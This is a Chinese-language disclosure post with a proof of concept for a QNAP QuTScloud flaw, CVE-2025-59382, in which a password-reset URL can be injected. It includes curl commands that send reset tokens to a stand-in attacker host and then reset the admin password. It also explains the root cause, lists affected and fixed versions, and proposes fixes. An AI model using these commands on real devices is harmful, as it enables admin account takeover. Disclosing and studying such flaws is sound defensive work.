未经身份验证的攻击者控制的密码重置 URL,位于 /cgi-bin/reset_password.cgi。
在实验室环境中针对 QuTScloud c5.2.4.3041 build 20250211 进行了测试。QNAP 后来将此漏洞发布为 CVE-2025-59382,公告编号 QSA-26-10。
具有本地网络访问权限或能够访问暴露的 NAS 管理界面的未认证攻击者,可以通过操纵 /cgi-bin/reset_password.cgi 中 send_mail 函数的 url 参数,将任意 URL 注入到官方 QNAP 密码重置邮件中。
受害者会收到来自 NAS 的真实 QNAP 密码重置邮件。攻击者 URL 直接嵌入到 HTML 邮件正文中,QNAP 会将重置令牌(rp)附加到该 URL 上。
这使得密码重置邮件变成了一条干净简洁的钓鱼到账户接管攻击链:
rp 重置令牌vc)输入钓鱼页面需要受害者交互,但无需攻击者身份验证。
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
NAS 会发送官方的重置邮件,并将重置令牌附加到攻击者 URL 上,例如:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
同一封邮件中也显示了验证码。在实验证据中,它看起来像这样:
Your verification code is: 2FEA2B8B
因此,钓鱼页面只需要向受害者索取验证码。当链接被点击时,rp 令牌已经到达攻击者的服务器。
一旦攻击者获得了 rp 令牌和关联的 vc 验证码,他们就可以重置管理员密码:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
最终的密码重置调用必须是 POST 请求。受害者在虚假页面上输入的验证码会作为 vc=<code> 发送给 QNAP。
新密码在 new_pw 中以 base64 编码。在 PoC 中,这足以更改管理员密码并随后以管理员身份登录。
正常的前端流程会构建一个本地 NAS URL,例如:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
但后端信任客户端提供的 url 参数,而不是自行生成重置 URL。然后,它使用该值构建邮件链接,并附加:
&u=<user>&rp=<reset_token>
它只是信任任何作为 url 传入的内容。
可信的 NAS 邮件负责传递。
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 中等QNAP 列出的受影响产品:
5.2.7h5.2.8c5.2.82.7.1QNAP 列出的修复版本:
5.2.9.3499h5.2.9C5.2.92.8.0QNAP 将问题描述为:远程攻击者修改密码重置 URL,诱骗受害者访问攻击者控制的重置页面,从而导致凭据窃取。
我自己的实验室目标是 QuTScloud c5.2.4.3041 build 20250211。我的实验室影响是:在受害者交互后,实现了管理员密码重置和管理员登录。
小备注:我于 2026-05-09 在实验室中复现了此问题,并于 2026-05-11 发送给 QNAP;他们将其标记为 INTSI000-9029 的重复项。由于 QNAP 现已发布 CVE/公告,我正在发布 PoC。致谢 Tim Coen 为首次发现者。
我不知道 QNAP 使用的确切补丁。他们的公告仅列出了修复版本。
我猜测正确的修复方法很简单:不要让浏览器告诉 NAS 重置链接应该指向哪里。
NAS 应该自己构建该链接。如果 QNAP 的流程仍需要 url 参数,则只应接受正常的 NAS 重置页面,并拒绝任何外部内容。
我还会编码所有放入邮件正文的内容,并对未认证的重置邮件请求进行一些速率限制。
免责声明: 此漏洞利用代码仅用于教育和防御性研究目的。请勿将其用于您不拥有或未经明确授权测试的系统。作者不对滥用行为负责。
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online